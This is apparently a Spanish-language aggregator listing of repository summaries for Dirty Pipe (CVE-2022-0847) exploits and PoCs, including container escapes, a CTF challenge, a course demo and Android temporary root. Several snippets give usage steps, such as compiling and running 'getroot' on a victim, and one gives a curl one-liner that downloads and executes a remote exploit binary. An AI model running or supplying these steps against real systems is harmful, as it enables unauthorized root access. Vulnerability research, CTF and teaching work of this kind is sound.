dirtyPipe-automaticRoot

Exploit automático de root de Dirty Pipe CVE-2022-0847 Dependencias: Python 3.10 o superior Cómo usar: Root automático: $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell Escribir en un archivo sin permiso de escritura, inmutable o montado como solo lectura: $...

dirty-pipe-poc

POC Exploit para agregar usuario a Sudo para CVE-2022-0847 Vulnerabilidad Dirty Pipe Este repositorio está basado en la Vulnerabilidad, el Writeup y el Exploit producidos por Max Kellermann que se encuentran todos aquí. Como todos, tuve que aprovechar jugar con la escalada de privilegios más...

Dirty-Pipe-Oneshot

Dirty-Pipe-Oneshot Versión compilada de CVE-2022-0847, también conocido como Dirty Pipe. Solo un disparo para rootearlos a todos :D solo compila el archivo cve-2022-0847.c gcc cve-2022-0847.c -o getroot luego ejecútalo en la víctima y obtén root :D ./getroot /etc/passwd 1 ootz: Feliz Rooting 🎭...

Dirty-Pipe-CVE-2022-0847

Dirty-Pipe-CVE-2022-0847 CVE-2022-0847 Dirty Pipe es una vulnerabilidad de sobrescritura arbitraria de archivos que permite la escalada de privilegios mediante la modificación o sobrescritura de archivos arbitrarios de solo lectura, p. ej., /etc/passwd, /etc/shadow. Pasos 1. Compilar usando gcc...

CVE-2022-0847-Container-Escape

CVE-2022-0847-Container-Escape CVE-2022-0847 used to achieve container escape 利用CVE-2022-0847 Dirty Pipe 实现容器逃逸 使用go语言实现...

cve-2022-0847

cve-2022-0847 verificar cve-2022-0847...

CVE-2022-0847

Información Exploit Title: Local Privilege Escalation in Linux kernel CVE-2022-0847 Date: 03/07/2022 Exploit Author: Max Kellermann Tested on: ubuntu 20.04.1 LTS Affect product:Linux kernel 5.8 or later Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102 CVE ID: CVE-2022-0847 Cómo explotarlo...

dirty-pipe

Dirty Pipe - CVE-2022-0847 Esto es simplemente el código y las instrucciones para usar el exploit de Max Kellermann para CVE-2022-0847 conocido como Dirty Pipe. Por favor, visita https://dirtypipe.cm4all.com/ para leer más sobre cómo funciona el exploit. Cómo usar 1. Descargar y compilar el binar...

COMP3320-VAPT

COMP3320-VAPT Archivos necesarios para demostrar la vulnerabilidad CVE-2022-0847 en el kernel de Linux v5.8 Compilación $ make...

CTF-CVE-2022-0847

Despliegue de Dirty Pipe Para este desafío, quieres sobrescribir el archivo de solo lectura "cat.txt" usando el exploit CVE-2022-0847 Hay muchas formas de hacerlo usando el exploit Dependencias Kernel de Linux versión 5.8 o posterior vulnerable gcc GNU Compiler Collection para compilar el código...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits Una colección de exploits y documentación para pentesters y red teamers que puede usarse para ayudar en la explotación de la vulnerabilidad Dirty Pipe de Linux. Acerca de la vulnerabilidad Dirty Pipe CVE-2022-0847 es una vulnerabilidad de escalada de privilegios...

dirtypipez-exploit

Exploit DirtyPipe CVE-2022-0847. Crédito: Max Kellermann [email protected] Una nueva vulnerabilidad de Linux conocida como 'Dirty Pipe' permite a usuarios locales obtener privilegios de root a través de exploits disponibles públicamente. Hoy, el investigador de seguridad Max Kellermann divul...

DirtyPipePython

dirty.py Descripción Este es un exploit para la vulnerabilidad del kernel de Linux CVE-2022-0847 DirtyPipe descubierta por Max Kellerman. Este código combina dos POC existentes de DirtyPipe en uno: febinrev Sobrescribe el binario sudo para obtener directamente una shell de root eremus-dev Una cop...

dirty-pipe-poc

Dirty Pipe POC CVE-2022-0847 POC - https://dirtypipe.cm4all.com/ Descripción Este exploit intenta usar la vulnerabilidad CVE-2022-0847 para sobrescribir un archivo de solo lectura. Cuando se ejecuta make exploit, realizará lo siguiente: 1. Creará un readonlyfile.txt 2. Ejecutará el exploit...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits Una colección de exploits y documentación para testers de penetración y red teamers que puede ser utilizada para ayudar en la explotación de la vulnerabilidad Dirty Pipe de Linux. Acerca de la Vulnerabilidad Dirty Pipe CVE-2022-0847 es una vulnerabilidad de escala...

Dirty-Pipe

Dirty Pipe Exploit CVE-2022-0847 Resumen Este repositorio contiene una Prueba de Concepto PoC del exploit para la vulnerabilidad Dirty Pipe CVE-2022-0847 , que afecta a las versiones del kernel de Linux 5.8 a 5.16. Esta vulnerabilidad permite la escalada de privilegios locales al explotar el mane...

CVE-2022-0847-DirtyPipe-Container-Breakout

PoC de escape de contenedor DirtyPipe Este repositorio contiene un PoC para la vulnerabilidad del kernel dirtypipe, para escapar de un contenedor. Puede encontrar más explicaciones en esta entrada de blog...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

dirtypipe

Acerca de: Título: DirtyPipe Descripción: Exploit para una nueva vulnerabilidad de Linux conocida como 'Dirty Pipe CVE-2022-0847' que permite a usuarios locales obtener privilegios de root. AUTOR: drapl0n Versión: 1.0 Categoría: Ejecución Objetivo: Sistemas operativos Linux. Modos de ataque: HID,...

DirtyPipe-Android

DirtyPipe para Android Dirty Pipe CVE-2022-0847 PoC de root temporal para Android. Objetivos Actualmente solo funciona en Pixel 6 con nivel de parche de seguridad del 2022-02-05 al 2022-04-05. No lo uses en otros dispositivos ni otras versiones. Debe fallar reiniciar. Dirty Pipe finalmente fue...